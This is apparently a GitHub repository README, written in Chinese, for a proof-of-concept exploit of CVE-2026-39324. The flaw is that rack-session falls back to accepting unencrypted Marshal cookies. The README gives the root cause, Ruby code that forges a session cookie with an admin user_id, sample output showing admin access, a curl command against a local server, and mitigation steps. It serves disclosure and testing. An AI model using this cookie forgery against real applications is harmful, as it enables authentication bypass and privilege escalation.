sm1ee/CVE-2026-39324
GitHub: sm1ee/CVE-2026-39324
这是一个针对 rack-session 组件 CVE-2026-39324 漏洞的概念验证工具,用于演示会话认证绕过与权限提升风险。
Stars: 0 | Forks: 0
# CVE-2026-39324 漏洞利用 PoC
**Rack::Session::Cookie 解密失败回退到接受未加密的 Cookie**
| | |
|--|--|
| 公告 | [GHSA-33qg-7wpp-89cq](https://github.com/rack/rack-session/security/advisories/GHSA-33qg-7wpp-89cq) |
| 软件包 | rack-session (RubyGems) |
| 受影响版本 | <= 2.1.1 |
| 已修复版本 | 2.1.2 |
## 概述
使用 `secrets:` 的 `Rack::Session::Cookie` 应当只接受加密的 Cookie。但是当解密失败时,它并不会拒绝该 Cookie —— 而是回退到默认的 `Base64::Marshal` 编码器。
攻击者可以发送一个纯 `Base64(Marshal.dump(...))` Cookie,服务器会在不知道任何密钥的情况下将其作为有效的会话数据接受。
## 触发条件
- `rack-session` <= 2.1.1
- 使用 `secrets:` 选项的 `Rack::Session::Cookie`
- 应用使用会话值(如 `user_id`、`role` 等)进行授权
- 攻击者可以向目标发送 HTTP 请求
不受影响:
- `secret:`(单数)—— 使用 HMAC 签名,代码路径不同。只有 `secrets:`(复数,加密 Cookie 模式)存在漏洞。
- Rails —— 使用 `ActionDispatch::Session::CookieStore`,独立实现。
## 根本原因
```
# lib/rack/session/cookie.rb
# Fallback coder 总是被创建,无论 secrets: config 如何
@coder = options[:coder] ||= Base64::Marshal.new
# 尝试解密 — 对于未加密的 cookie 全部失败
encryptors.each do |encryptor|
session_data = encryptor.decrypt(cookie_data) rescue next
break
end
# BUG: 不拒绝,回退到未加密 coder
if !session_data && coder
session_data = coder.decode(cookie_data) # → Marshal.load(Base64.decode64(...))
end
```
`secrets:` 路径上的解密失败本应是致命的。相反,它将 Cookie 传递给了 `coder.decode()`,因此纯 Cookie 被加载为会话数据。
## 复现
```
poc/
├── Gemfile rack-session 2.1.1
├── server.rb Rack app with secrets: config
├── verify.rb Baseline check (normal behavior)
└── attack.rb Session forgery (the exploit)
```
### 运行
```
cd poc
bundle install
ruby server.rb & # start vulnerable server
ruby verify.rb # confirm normal behavior
ruby attack.rb # forge cookie → admin access
```
### server.rb
使用 `secrets:` 进行加密 Cookie 的 Rack 应用。两个用户:id=1(普通用户),id=2(管理员)。会话中仅存储 `user_id`;管理员检查是服务端查询。
### verify.rb
确认服务器工作正常:
| 请求 | 预期结果 |
|---------|----------|
| `GET /admin`(无 Cookie) | 403 |
| `POST /login?id=1` | 200,加密 Cookie |
| `GET /admin`(user id=1 的 Cookie) | 403 |
### attack.rb
在没有任何密钥的情况下伪造会话 Cookie。
**1) 伪造 Cookie:**
```
payload = { "session_id" => "attacker-forged", "user_id" => 2 }
cookie = Base64.strict_encode64(Marshal.dump(payload))
```
**2) 服务器收到伪造 Cookie 时的流程:**
```
encryptor #1 decrypt → HMAC invalid
encryptor #2 decrypt → HMAC invalid
fallback → coder.decode() → Marshal.load → attacker session accepted
→ session["user_id"] = 2 → admin user resolved → 200 OK
```
### 输出
```
$ ruby attack.rb
--- CVE-2026-39324: Session Forgery ---
Target: http://127.0.0.1:9416
Payload: {"session_id" => "attacker-forged", "user_id" => 2}
Cookie: rack.session=BAh7B0kiD3Nlc3Npb25faWQGOgZFVEkiFGF0dGFja2VyLWZvcmdlZAY7AFRJIgx1c2VyX2lkBjsAVGkH
Session cookie encryptor error: HMAC is invalid ← encryptor #1 failed
Session cookie encryptor error: HMAC is invalid ← encryptor #2 failed, but cookie not rejected
Status: 200
Body: {"status" => "ok", "message" => "admin panel", "session_hash" => {"session_id" => "attacker-forged", "user_id" => 2}, "current_user" => {"id" => 2, "email" => "admin@example.test", "admin" => true}}
[!] VULNERABLE — forged user_id=2 accepted, admin access granted.
```
两次 HMAC 检查均失败,但 Cookie 并未被拒绝 —— 回退编码器接受了它,攻击者因此获得了管理员权限。
### curl
```
ruby -rbase64 -e 'puts Base64.strict_encode64(Marshal.dump({"user_id"=>2}))'
# → BAh7BkkiDHVzZXJfaWQGOgZFVGkH
curl http://127.0.0.1:9416/admin -H 'Cookie: rack.session=BAh7BkkiDHVzZXJfaWQGOgZFVGkH'
```
## 缓解措施
1. 将 `rack-session` 更新至 >= 2.1.2
2. 更新后轮换会话密钥 —— 伪造的会话可能在打补丁之前已被接受并重新签发
标签:Auth Bypass, Base64, Cookie, CVE-2026-39324, Exploit, GHSA-33qg-7wpp-89cq, Marshal, PoC, Rack, Rack::Session::Cookie, Ruby, RubyGems, Session, Session Forgery, Web安全, 伪造, 加密, 安全助手, 安全漏洞, 提权, 数据处理, 暴力破解, 漏洞扫描器, 知识库, 网络安全, 蓝队分析, 解密, 认证绕过, 隐私保护